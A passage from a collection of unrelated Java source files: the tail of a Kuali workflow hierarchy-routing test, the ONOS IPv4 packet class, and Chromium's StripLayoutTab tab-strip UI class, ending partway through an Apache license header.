doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("delyea"), doc.getDocumentId());
doc.approve("approving as delyea");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "pzhang", "shenl" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "delyea", "temay", "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user3"), doc.getDocumentId());
doc.approve("approving as user3");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "pzhang", "shenl" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "delyea", "temay", "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("pzhang"), doc.getDocumentId());
doc.approve("approving as pzhang");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "quickstart", "shenl" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "pzhang", "delyea", "temay", "user1", "jhopf", "user2", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("quickstart"), doc.getDocumentId());
doc.approve("approving as quickstart");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "shenl" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "pzhang", "delyea", "temay", "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("shenl"), doc.getDocumentId());
doc.approve("approving as shenl");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "dewey" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "pzhang", "delyea", "temay", "user1", "jhopf", "user2", "quickstart", "shenl" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("dewey"), doc.getDocumentId());
doc.approve("approving as dewey");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "shenl", "dewey", "pzhang", "delyea", "user3", "temay", "user1", "jhopf", "user2", "quickstart" }, false);
assertTrue(doc.isFinal());
}
@Test
public void testHierarchyRoutingNodeUnevenApprovalDisapprove() throws WorkflowException {
loadXmlFile("HierarchyRoutingNodeConfig.xml");
WorkflowDocument doc = WorkflowDocumentFactory.createDocument(getPrincipalIdForName("arh14"), "HierarchyDocType");
doc.setApplicationContent(HIERARCHY);
doc.route("initial route");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user2"), doc.getDocumentId());
doc.approve("approving as user2");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay", "jhopf" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("jhopf"), doc.getDocumentId());
doc.approve("approving as jhopf");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "jhopf", "user2", "user3", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user1"), doc.getDocumentId());
doc.approve("approving as user1");
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay" }, true);
TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user3"), doc.getDocumentId());
doc.disapprove("disapproving as user3");
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("arh14"), doc.getDocumentId());
//TestUtilities.assertApprovals(doc.getDocumentId(), new String[] { "user3", "temay", "user1", "jhopf", "user2", "quickstart", "dewey" }, false);
assertTrue(doc.isDisapproved());
TestUtilities.logActionRequests(doc.getDocumentId());
// these are ok, these are the ACKs for the previous approvers
int numActionRequests = KEWServiceLocator.getActionRequestService().findPendingByDoc(doc.getDocumentId()).size();
assertEquals("Incorrect number of action requests", 4, numActionRequests);
int numActionItems = KEWServiceLocator.getActionListService().findByDocumentId(doc.getDocumentId()).size();
assertEquals("Incorrect number of action items.", 4, numActionItems);
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user2"), doc.getDocumentId());
doc.acknowledge("acknowledging disapproval as user2");
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("jhopf"), doc.getDocumentId());
doc.acknowledge("acknowledging disapproval as jhopf");
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("user1"), doc.getDocumentId());
doc.acknowledge("acknowledging disapproval as user1");
doc = WorkflowDocumentFactory.loadDocument(getPrincipalIdForName("arh14"), doc.getDocumentId());
doc.acknowledge("acknowledging disapproval as arh14");
assertTrue(doc.isDisapproved());
numActionRequests = KEWServiceLocator.getActionRequestService().findPendingByDoc(doc.getDocumentId()).size();
assertEquals("Incorrect number of action requests", 0, numActionRequests);
numActionItems = KEWServiceLocator.getActionListService().findByDocumentId(doc.getDocumentId()).size();
assertEquals("Incorrect number of action items.", 0, numActionItems);
}
}
| |
/*
* Copyright 2014 Open Networking Laboratory
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
*
*/
package org.onlab.packet;
import java.nio.ByteBuffer;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
/**
*
*/
public class IPv4 extends BasePacket {
public static final byte PROTOCOL_ICMP = 0x1;
public static final byte PROTOCOL_TCP = 0x6;
public static final byte PROTOCOL_UDP = 0x11;
public static final Map<Byte, Class<? extends IPacket>> PROTOCOL_CLASS_MAP =
new HashMap<>();
static {
IPv4.PROTOCOL_CLASS_MAP.put(IPv4.PROTOCOL_ICMP, ICMP.class);
IPv4.PROTOCOL_CLASS_MAP.put(IPv4.PROTOCOL_TCP, TCP.class);
IPv4.PROTOCOL_CLASS_MAP.put(IPv4.PROTOCOL_UDP, UDP.class);
}
protected byte version;
protected byte headerLength;
protected byte diffServ;
protected short totalLength;
protected short identification;
protected byte flags;
protected short fragmentOffset;
protected byte ttl;
protected byte protocol;
protected short checksum;
protected int sourceAddress;
protected int destinationAddress;
protected byte[] options;
protected boolean isTruncated;
/**
* Default constructor that sets the version to 4.
*/
public IPv4() {
super();
this.version = 4;
this.isTruncated = false;
}
/**
* @return the version
*/
public byte getVersion() {
return this.version;
}
/**
* @param version
* the version to set
* @return this
*/
public IPv4 setVersion(final byte version) {
this.version = version;
return this;
}
/**
* @return the headerLength
*/
public byte getHeaderLength() {
return this.headerLength;
}
/**
* @return the diffServ
*/
public byte getDiffServ() {
return this.diffServ;
}
/**
* @param diffServ
* the diffServ to set
* @return this
*/
public IPv4 setDiffServ(final byte diffServ) {
this.diffServ = diffServ;
return this;
}
/**
* @return the totalLength
*/
public short getTotalLength() {
return this.totalLength;
}
/**
* @return the identification
*/
public short getIdentification() {
return this.identification;
}
public boolean isTruncated() {
return this.isTruncated;
}
public void setTruncated(final boolean isTruncated) {
this.isTruncated = isTruncated;
}
/**
* @param identification
* the identification to set
* @return this
*/
public IPv4 setIdentification(final short identification) {
this.identification = identification;
return this;
}
/**
* @return the flags
*/
public byte getFlags() {
return this.flags;
}
/**
* @param flags
* the flags to set
* @return this
s */
public IPv4 setFlags(final byte flags) {
this.flags = flags;
return this;
}
/**
* @return the fragmentOffset
*/
public short getFragmentOffset() {
return this.fragmentOffset;
}
/**
* @param fragmentOffset
* the fragmentOffset to set
* @return this
*/
public IPv4 setFragmentOffset(final short fragmentOffset) {
this.fragmentOffset = fragmentOffset;
return this;
}
/**
* @return the ttl
*/
public byte getTtl() {
return this.ttl;
}
/**
* @param ttl
* the ttl to set
* @return this
*/
public IPv4 setTtl(final byte ttl) {
this.ttl = ttl;
return this;
}
/**
* @return the protocol
*/
public byte getProtocol() {
return this.protocol;
}
/**
* @param protocol
* the protocol to set
* @return this
*/
public IPv4 setProtocol(final byte protocol) {
this.protocol = protocol;
return this;
}
/**
* @return the checksum
*/
public short getChecksum() {
return this.checksum;
}
/**
* @param checksum
* the checksum to set
* @return this
*/
public IPv4 setChecksum(final short checksum) {
this.checksum = checksum;
return this;
}
@Override
public void resetChecksum() {
this.checksum = 0;
super.resetChecksum();
}
/**
* @return the sourceAddress
*/
public int getSourceAddress() {
return this.sourceAddress;
}
/**
* @param sourceAddress
* the sourceAddress to set
* @return this
*/
public IPv4 setSourceAddress(final int sourceAddress) {
this.sourceAddress = sourceAddress;
return this;
}
/**
* @param sourceAddress
* the sourceAddress to set
* @return this
*/
public IPv4 setSourceAddress(final String sourceAddress) {
this.sourceAddress = IPv4.toIPv4Address(sourceAddress);
return this;
}
/**
* @return the destinationAddress
*/
public int getDestinationAddress() {
return this.destinationAddress;
}
/**
* @param destinationAddress
* the destinationAddress to set
* @return this
*/
public IPv4 setDestinationAddress(final int destinationAddress) {
this.destinationAddress = destinationAddress;
return this;
}
/**
* @param destinationAddress
* the destinationAddress to set
* @return this
*/
public IPv4 setDestinationAddress(final String destinationAddress) {
this.destinationAddress = IPv4.toIPv4Address(destinationAddress);
return this;
}
/**
* @return the options
*/
public byte[] getOptions() {
return this.options;
}
/**
* @param options
* the options to set
* @return this
*/
public IPv4 setOptions(final byte[] options) {
if (options != null && options.length % 4 > 0) {
throw new IllegalArgumentException(
"Options length must be a multiple of 4");
}
this.options = options;
return this;
}
/**
* Serializes the packet. Will compute and set the following fields if they
* are set to specific values at the time serialize is called: -checksum : 0
* -headerLength : 0 -totalLength : 0
*/
@Override
public byte[] serialize() {
byte[] payloadData = null;
if (this.payload != null) {
this.payload.setParent(this);
payloadData = this.payload.serialize();
}
int optionsLength = 0;
if (this.options != null) {
optionsLength = this.options.length / 4;
}
this.headerLength = (byte) (5 + optionsLength);
this.totalLength = (short) (this.headerLength * 4 + (payloadData == null ? 0
: payloadData.length));
final byte[] data = new byte[this.totalLength];
final ByteBuffer bb = ByteBuffer.wrap(data);
bb.put((byte) ((this.version & 0xf) << 4 | this.headerLength & 0xf));
bb.put(this.diffServ);
bb.putShort(this.totalLength);
bb.putShort(this.identification);
bb.putShort((short) ((this.flags & 0x7) << 13 | this.fragmentOffset & 0x1fff));
bb.put(this.ttl);
bb.put(this.protocol);
bb.putShort(this.checksum);
bb.putInt(this.sourceAddress);
bb.putInt(this.destinationAddress);
if (this.options != null) {
bb.put(this.options);
}
if (payloadData != null) {
bb.put(payloadData);
}
// compute checksum if needed
if (this.checksum == 0) {
bb.rewind();
int accumulation = 0;
for (int i = 0; i < this.headerLength * 2; ++i) {
accumulation += 0xffff & bb.getShort();
}
accumulation = (accumulation >> 16 & 0xffff)
+ (accumulation & 0xffff);
this.checksum = (short) (~accumulation & 0xffff);
bb.putShort(10, this.checksum);
}
return data;
}
@Override
public IPacket deserialize(final byte[] data, final int offset,
final int length) {
final ByteBuffer bb = ByteBuffer.wrap(data, offset, length);
short sscratch;
this.version = bb.get();
this.headerLength = (byte) (this.version & 0xf);
this.version = (byte) (this.version >> 4 & 0xf);
this.diffServ = bb.get();
this.totalLength = bb.getShort();
this.identification = bb.getShort();
sscratch = bb.getShort();
this.flags = (byte) (sscratch >> 13 & 0x7);
this.fragmentOffset = (short) (sscratch & 0x1fff);
this.ttl = bb.get();
this.protocol = bb.get();
this.checksum = bb.getShort();
this.sourceAddress = bb.getInt();
this.destinationAddress = bb.getInt();
if (this.headerLength > 5) {
final int optionsLength = (this.headerLength - 5) * 4;
this.options = new byte[optionsLength];
bb.get(this.options);
}
IPacket payload;
if (IPv4.PROTOCOL_CLASS_MAP.containsKey(this.protocol)) {
final Class<? extends IPacket> clazz = IPv4.PROTOCOL_CLASS_MAP
.get(this.protocol);
try {
payload = clazz.newInstance();
} catch (final Exception e) {
throw new RuntimeException(
"Error parsing payload for IPv4 packet", e);
}
} else {
payload = new Data();
}
this.payload = payload.deserialize(data, bb.position(),
bb.limit() - bb.position());
this.payload.setParent(this);
if (this.totalLength != length) {
this.isTruncated = true;
} else {
this.isTruncated = false;
}
return this;
}
/**
* Accepts an IPv4 address of the form xxx.xxx.xxx.xxx, ie 192.168.0.1 and
* returns the corresponding 32 bit integer.
*
* @param ipAddress ip address in string form
* @return int ip address value
*/
public static int toIPv4Address(final String ipAddress) {
if (ipAddress == null) {
throw new IllegalArgumentException("Specified IPv4 address must"
+ "contain 4 sets of numerical digits separated by periods");
}
final String[] octets = ipAddress.split("\\.");
if (octets.length != 4) {
throw new IllegalArgumentException("Specified IPv4 address must"
+ "contain 4 sets of numerical digits separated by periods");
}
int result = 0;
for (int i = 0; i < 4; ++i) {
result |= Integer.parseInt(octets[i]) << (3 - i) * 8;
}
return result;
}
/**
* Accepts an IPv4 address in a byte array and returns the corresponding
* 32-bit integer value.
*
* @param ipAddress ip address in byte form
* @return int ip address value
*/
public static int toIPv4Address(final byte[] ipAddress) {
int ip = 0;
for (int i = 0; i < 4; i++) {
final int t = (ipAddress[i] & 0xff) << (3 - i) * 8;
ip |= t;
}
return ip;
}
/**
* Accepts an IPv4 address and returns of string of the form xxx.xxx.xxx.xxx,
* e.g., 192.168.0.1.
*
* @param ipAddress ip address in form
* @return string form of ip address
*/
public static String fromIPv4Address(final int ipAddress) {
final StringBuffer sb = new StringBuffer();
int result = 0;
for (int i = 0; i < 4; ++i) {
result = ipAddress >> (3 - i) * 8 & 0xff;
sb.append(result);
if (i != 3) {
sb.append(".");
}
}
return sb.toString();
}
/**
* Accepts a collection of IPv4 addresses as integers and returns a single
* String useful in toString method's containing collections of IP
* addresses.
*
* @param ipAddresses
* collection
* @return ip addresses in comma-separated string form
*/
public static String fromIPv4AddressCollection(
final Collection<Integer> ipAddresses) {
if (ipAddresses == null) {
return "null";
}
final StringBuffer sb = new StringBuffer();
sb.append("[");
for (final Integer ip : ipAddresses) {
sb.append(IPv4.fromIPv4Address(ip));
sb.append(",");
}
sb.replace(sb.length() - 1, sb.length(), "]");
return sb.toString();
}
/**
* Accepts an IPv4 address of the form xxx.xxx.xxx.xxx, ie 192.168.0.1 and
* returns the corresponding byte array.
*
* @param ipAddress
* The IP address in the form xx.xxx.xxx.xxx.
* @return The IP address separated into bytes
*/
public static byte[] toIPv4AddressBytes(final String ipAddress) {
final String[] octets = ipAddress.split("\\.");
if (octets.length != 4) {
throw new IllegalArgumentException("Specified IPv4 address must"
+ "contain 4 sets of numerical digits separated by periods");
}
final byte[] result = new byte[4];
for (int i = 0; i < 4; ++i) {
result[i] = Integer.valueOf(octets[i]).byteValue();
}
return result;
}
/**
* Accepts an IPv4 address in the form of an integer and returns the
* corresponding byte array.
*
* @param ipAddress
* The IP address as an integer.
* @return The IP address separated into bytes.
*/
public static byte[] toIPv4AddressBytes(final int ipAddress) {
return new byte[] {(byte) (ipAddress >>> 24),
(byte) (ipAddress >>> 16), (byte) (ipAddress >>> 8),
(byte) ipAddress};
}
/*
* (non-Javadoc)
*
* @see java.lang.Object#hashCode()
*/
@Override
public int hashCode() {
final int prime = 2521;
int result = super.hashCode();
result = prime * result + this.checksum;
result = prime * result + this.destinationAddress;
result = prime * result + this.diffServ;
result = prime * result + this.flags;
result = prime * result + this.fragmentOffset;
result = prime * result + this.headerLength;
result = prime * result + this.identification;
result = prime * result + Arrays.hashCode(this.options);
result = prime * result + this.protocol;
result = prime * result + this.sourceAddress;
result = prime * result + this.totalLength;
result = prime * result + this.ttl;
result = prime * result + this.version;
return result;
}
/*
* (non-Javadoc)
*
* @see java.lang.Object#equals(java.lang.Object)
*/
@Override
public boolean equals(final Object obj) {
if (this == obj) {
return true;
}
if (!super.equals(obj)) {
return false;
}
if (!(obj instanceof IPv4)) {
return false;
}
final IPv4 other = (IPv4) obj;
if (this.checksum != other.checksum) {
return false;
}
if (this.destinationAddress != other.destinationAddress) {
return false;
}
if (this.diffServ != other.diffServ) {
return false;
}
if (this.flags != other.flags) {
return false;
}
if (this.fragmentOffset != other.fragmentOffset) {
return false;
}
if (this.headerLength != other.headerLength) {
return false;
}
if (this.identification != other.identification) {
return false;
}
if (!Arrays.equals(this.options, other.options)) {
return false;
}
if (this.protocol != other.protocol) {
return false;
}
if (this.sourceAddress != other.sourceAddress) {
return false;
}
if (this.totalLength != other.totalLength) {
return false;
}
if (this.ttl != other.ttl) {
return false;
}
if (this.version != other.version) {
return false;
}
return true;
}
}
| |
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser.compositor.overlays.strip;
import static org.chromium.chrome.browser.compositor.layouts.ChromeAnimation.AnimatableAnimation.createAnimation;
import android.content.Context;
import android.graphics.RectF;
import org.chromium.base.VisibleForTesting;
import org.chromium.chrome.R;
import org.chromium.chrome.browser.Tab;
import org.chromium.chrome.browser.compositor.layouts.ChromeAnimation;
import org.chromium.chrome.browser.compositor.layouts.ChromeAnimation.Animatable;
import org.chromium.chrome.browser.compositor.layouts.ChromeAnimation.Animation;
import org.chromium.chrome.browser.compositor.layouts.LayoutRenderHost;
import org.chromium.chrome.browser.compositor.layouts.components.CompositorButton;
import org.chromium.chrome.browser.compositor.layouts.components.VirtualView;
import org.chromium.chrome.browser.compositor.overlays.strip.TabLoadTracker.TabLoadTrackerCallback;
import org.chromium.chrome.browser.util.MathUtils;
import org.chromium.ui.base.LocalizationUtils;
import org.chromium.ui.resources.AndroidResourceType;
import org.chromium.ui.resources.LayoutResource;
import org.chromium.ui.resources.ResourceManager;
import java.util.List;
/**
* {@link StripLayoutTab} is used to keep track of the strip position and rendering information for
* a particular tab so it can draw itself onto the GL canvas.
*/
public class StripLayoutTab
implements ChromeAnimation.Animatable<StripLayoutTab.Property>, VirtualView {
/**
* Animatable properties that can be used with a {@link ChromeAnimation.Animatable} on a
* {@link StripLayoutTab}.
*/
enum Property {
X_OFFSET,
Y_OFFSET,
WIDTH,
}
// Behavior Constants
private static final float VISIBILITY_FADE_CLOSE_BUTTON_PERCENTAGE = 0.99f;
// Animation/Timer Constants
private static final int ANIM_TAB_CLOSE_BUTTON_FADE_MS = 150;
// Close button width
private static final int CLOSE_BUTTON_WIDTH_DP = 36;
private int mId = Tab.INVALID_TAB_ID;
private final TabLoadTracker mLoadTracker;
private final LayoutRenderHost mRenderHost;
private boolean mVisible = true;
private boolean mIsDying = false;
private boolean mCanShowCloseButton = true;
private final boolean mIncognito;
private float mContentOffsetX;
private float mVisiblePercentage = 1.f;
private String mAccessibilityDescription;
// Ideal intermediate parameters
private float mIdealX;
private float mTabOffsetX;
private float mTabOffsetY;
// Actual draw parameters
private float mDrawX;
private float mDrawY;
private float mWidth;
private float mHeight;
private final RectF mTouchTarget = new RectF();
private boolean mShowingCloseButton = true;
private final CompositorButton mCloseButton;
// Content Animations
private ChromeAnimation<Animatable<?>> mContentAnimations;
private float mLoadingSpinnerRotationDegrees;
// Preallocated
private final RectF mClosePlacement = new RectF();
/**
* Create a {@link StripLayoutTab} that represents the {@link Tab} with an id of
* {@code id}.
*
* @param context An Android context for accessing system resources.
* @param id The id of the {@link Tab} to visually represent.
* @param loadTrackerCallback The {@link TabLoadTrackerCallback} to be notified of loading state
* changes.
* @param renderHost The {@link LayoutRenderHost}.
* @param incogntio Whether or not this layout tab is icognito.
*/
public StripLayoutTab(Context context, int id, TabLoadTrackerCallback loadTrackerCallback,
LayoutRenderHost renderHost, boolean incognito) {
mId = id;
mLoadTracker = new TabLoadTracker(id, loadTrackerCallback);
mRenderHost = renderHost;
mIncognito = incognito;
mCloseButton = new CompositorButton(context, 0, 0);
mCloseButton.setResources(R.drawable.btn_tab_close_normal, R.drawable.btn_tab_close_pressed,
R.drawable.btn_tab_close_white_normal, R.drawable.btn_tab_close_white_pressed);
mCloseButton.setIncognito(mIncognito);
mCloseButton.setBounds(getCloseRect());
mCloseButton.setClickSlop(0.f);
String description =
context.getResources().getString(R.string.accessibility_tabstrip_btn_close_tab);
mCloseButton.setAccessibilityDescription(description, description);
}
/**
* Get a list of virtual views for accessibility events.
*
* @param views A List to populate with virtual views.
*/
public void getVirtualViews(List<VirtualView> views) {
if (mShowingCloseButton) views.add(mCloseButton);
views.add(this);
}
/**
* @param description A description for accessibility events.
*/
public void setAccessibilityDescription(String description) {
mAccessibilityDescription = description;
}
@Override
public String getAccessibilityDescription() {
return mAccessibilityDescription;
}
@Override
public void getTouchTarget(RectF target) {
target.set(mTouchTarget);
}
@Override
public boolean checkClicked(float x, float y) {
return mTouchTarget.contains(x, y);
}
/**
* @return The id of the {@link Tab} this {@link StripLayoutTab} represents.
*/
public int getId() {
return mId;
}
/**
* @param foreground Whether or not this tab is a foreground tab.
* @return The Android resource that represents the tab background.
*/
public int getResourceId(boolean foreground) {
if (foreground) {
return mIncognito ? R.drawable.bg_tabstrip_incognito_tab : R.drawable.bg_tabstrip_tab;
}
return mIncognito ? R.drawable.bg_tabstrip_incognito_background_tab
: R.drawable.bg_tabstrip_background_tab;
}
/**
* @param visible Whether or not this {@link StripLayoutTab} should be drawn.
*/
public void setVisible(boolean visible) {
mVisible = visible;
}
/**
* @return Whether or not this {@link StripLayoutTab} should be drawn.
*/
public boolean isVisible() {
return mVisible;
}
/**
* Mark this tab as in the process of dying. This lets us track which tabs are dead after
* animations.
* @param isDying Whether or not the tab is dying.
*/
public void setIsDying(boolean isDying) {
mIsDying = isDying;
}
/**
* @return Whether or not the tab is dying.
*/
public boolean isDying() {
return mIsDying;
}
/**
* @return Whether or not this tab should be visually represented as loading.
*/
public boolean isLoading() {
return mLoadTracker.isLoading();
}
/**
* @return The rotation of the loading spinner in degrees.
*/
public float getLoadingSpinnerRotation() {
return mLoadingSpinnerRotationDegrees;
}
/**
* Additive spinner rotation update.
* @param rotation The amount to rotate the spinner by in degrees.
*/
public void addLoadingSpinnerRotation(float rotation) {
mLoadingSpinnerRotationDegrees = (mLoadingSpinnerRotationDegrees + rotation) % 1080;
}
/**
* Called when this tab has started loading.
*/
public void pageLoadingStarted() {
mLoadTracker.pageLoadingStarted();
}
/**
* Called when this tab has finished loading.
*/
public void pageLoadingFinished() {
mLoadTracker.pageLoadingFinished();
}
/**
* Called when this tab has started loading resources.
*/
public void loadingStarted() {
mLoadTracker.loadingStarted();
}
/**
* Called when this tab has finished loading resources.
*/
public void loadingFinished() {
mLoadTracker.loadingFinished();
}
/**
* @param offsetX How far to offset the tab content (favicons and title).
*/
public void setContentOffsetX(float offsetX) {
mContentOffsetX = MathUtils.clamp(offsetX, 0.f, mWidth);
}
/**
* @return How far to offset the tab content (favicons and title).
*/
public float getContentOffsetX() {
return mContentOffsetX;
}
/**
* @param visiblePercentage How much of the tab is visible (not overlapped by other tabs).
*/
public void setVisiblePercentage(float visiblePercentage) {
mVisiblePercentage = visiblePercentage;
checkCloseButtonVisibility(true);
}
/**
* @return How much of the tab is visible (not overlapped by other tabs).
*/
@VisibleForTesting
public float getVisiblePercentage() {
return mVisiblePercentage;
}
/**
* @param show Whether or not the close button is allowed to be shown.
*/
public void setCanShowCloseButton(boolean show) {
mCanShowCloseButton = show;
checkCloseButtonVisibility(true);
}
/**
* @param x The actual position in the strip, taking into account stacking, scrolling, etc.
*/
public void setDrawX(float x) {
mCloseButton.setX(mCloseButton.getX() + (x - mDrawX));
mDrawX = x;
mTouchTarget.left = mDrawX;
mTouchTarget.right = mDrawX + mWidth;
}
/**
* @return The actual position in the strip, taking into account stacking, scrolling, etc.
*/
public float getDrawX() {
return mDrawX;
}
/**
* @param y The vertical position for the tab.
*/
public void setDrawY(float y) {
mCloseButton.setY(mCloseButton.getY() + (y - mDrawY));
mDrawY = y;
mTouchTarget.top = mDrawY;
mTouchTarget.bottom = mDrawY + mHeight;
}
/**
* @return The vertical position for the tab.
*/
public float getDrawY() {
return mDrawY;
}
/**
* @param width The width of the tab.
*/
public void setWidth(float width) {
mWidth = width;
resetCloseRect();
mTouchTarget.right = mDrawX + mWidth;
}
/**
* @return The width of the tab.
*/
public float getWidth() {
return mWidth;
}
/**
* @param height The height of the tab.
*/
public void setHeight(float height) {
mHeight = height;
resetCloseRect();
mTouchTarget.bottom = mDrawY + mHeight;
}
/**
* @return The height of the tab.
*/
public float getHeight() {
return mHeight;
}
/**
* @param closePressed The current pressed state of the attached button.
*/
public void setClosePressed(boolean closePressed) {
mCloseButton.setPressed(closePressed);
}
/**
* @return The current pressed state of the close button.
*/
public boolean getClosePressed() {
return mCloseButton.isPressed();
}
/**
* @return The close button for this tab.
*/
public CompositorButton getCloseButton() {
return mCloseButton;
}
/**
* This represents how much this tab's width should be counted when positioning tabs in the
* stack. As tabs close or open, their width weight is increased. They visually take up
* the same amount of space but the other tabs will smoothly move out of the way to make room.
* @return The weight from 0 to 1 that the width of this tab should have on the stack.
*/
public float getWidthWeight() {
return MathUtils.clamp(1.f - mDrawY / mHeight, 0.f, 1.f);
}
/**
* @param x The x position of the position to test.
* @param y The y position of the position to test.
* @return Whether or not {@code x} and {@code y} is over the close button for this tab and
* if the button can be clicked.
*/
public boolean checkCloseHitTest(float x, float y) {
return mShowingCloseButton ? mCloseButton.checkClicked(x, y) : false;
}
/**
* This is used to help calculate the tab's position and is not used for rendering.
* @param offsetX The offset of the tab (used for drag and drop, slide animating, etc).
*/
public void setOffsetX(float offsetX) {
mTabOffsetX = offsetX;
}
/**
* This is used to help calculate the tab's position and is not used for rendering.
* @return The offset of the tab (used for drag and drop, slide animating, etc).
*/
public float getOffsetX() {
return mTabOffsetX;
}
/**
* This is used to help calculate the tab's position and is not used for rendering.
* @param x The ideal position, in an infinitely long strip, of this tab.
*/
public void setIdealX(float x) {
mIdealX = x;
}
/**
* This is used to help calculate the tab's position and is not used for rendering.
* @return The ideal position, in an infinitely long strip, of this tab.
*/
public float getIdealX() {
return mIdealX;
}
/**
* This is used to help calculate the tab's position and is not used for rendering.
* @param offsetY The vertical offset of the tab.
*/
public void setOffsetY(float offsetY) {
mTabOffsetY = offsetY;
}
/**
* This is used to help calculate the tab's position and is not used for rendering.
* @return The vertical offset of the tab.
*/
public float getOffsetY() {
return mTabOffsetY;
}
private void startAnimation(Animation<Animatable<?>> animation, boolean finishPrevious) {
if (finishPrevious) finishAnimation();
if (mContentAnimations == null) {
mContentAnimations = new ChromeAnimation<Animatable<?>>();
}
mContentAnimations.add(animation);
}
/**
* Finishes any content animations currently owned and running on this StripLayoutTab.
*/
public void finishAnimation() {
if (mContentAnimations == null) return;
mContentAnimations.updateAndFinish();
mContentAnimations = null;
}
/**
* @return Whether or not there are any content animations running on this StripLayoutTab.
*/
public boolean isAnimating() {
return mContentAnimations != null;
}
/**
* Updates any content animations on this StripLayoutTab.
* @param time The current time of the app in ms.
* @param jumpToEnd Whether or not to force any current animations to end.
* @return Whether or not animations are done.
*/
public boolean onUpdateAnimation(long time, boolean jumpToEnd) {
if (mContentAnimations == null) return true;
boolean finished = true;
if (jumpToEnd) {
finished = mContentAnimations.finished();
} else {
finished = mContentAnimations.update(time);
}
if (jumpToEnd || finished) finishAnimation();
return finished;
}
@Override
public void setProperty(Property prop, float val) {
switch (prop) {
case X_OFFSET:
setOffsetX(val);
break;
case Y_OFFSET:
setOffsetY(val);
break;
case WIDTH:
setWidth(val);
break;
}
}
private void resetCloseRect() {
RectF closeRect = getCloseRect();
mCloseButton.setWidth(closeRect.width());
mCloseButton.setHeight(closeRect.height());
mCloseButton.setX(closeRect.left);
mCloseButton.setY(closeRect.top);
}
private RectF getCloseRect() {
if (!LocalizationUtils.isLayoutRtl()) {
mClosePlacement.left = getWidth() - CLOSE_BUTTON_WIDTH_DP;
mClosePlacement.right = mClosePlacement.left + CLOSE_BUTTON_WIDTH_DP;
} else {
mClosePlacement.left = 0;
mClosePlacement.right = CLOSE_BUTTON_WIDTH_DP;
}
mClosePlacement.top = 0;
mClosePlacement.bottom = getHeight();
float xOffset = 0;
ResourceManager manager = mRenderHost.getResourceManager();
if (manager != null) {
LayoutResource resource =
manager.getResource(AndroidResourceType.STATIC, getResourceId(false));
if (resource != null) {
xOffset = LocalizationUtils.isLayoutRtl()
? resource.getPadding().left
: -(resource.getBitmapSize().width() - resource.getPadding().right);
}
}
mClosePlacement.offset(getDrawX() + xOffset, getDrawY());
return mClosePlacement;
}
// TODO(dtrainor): Don't animate this if we're selecting or deselecting this tab.
private void checkCloseButtonVisibility(boolean animate) {
boolean shouldShow =
mCanShowCloseButton && mVisiblePercentage > VISIBILITY_FADE_CLOSE_BUTTON_PERCENTAGE;
if (shouldShow != mShowingCloseButton) {
float opacity = shouldShow ? 1.f : 0.f;
if (animate) {
startAnimation(buildCloseButtonOpacityAnimation(opacity), true);
} else {
mCloseButton.setOpacity(opacity);
}
mShowingCloseButton = shouldShow;
if (!mShowingCloseButton) mCloseButton.setPressed(false);
}
}
private Animation<Animatable<?>> buildCloseButtonOpacityAnimation(float finalOpacity) {
return createAnimation(mCloseButton, CompositorButton.Property.OPACITY,
mCloseButton.getOpacity(), finalOpacity, ANIM_TAB_CLOSE_BUTTON_FADE_MS, 0, false,
ChromeAnimation.getLinearInterpolator());
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
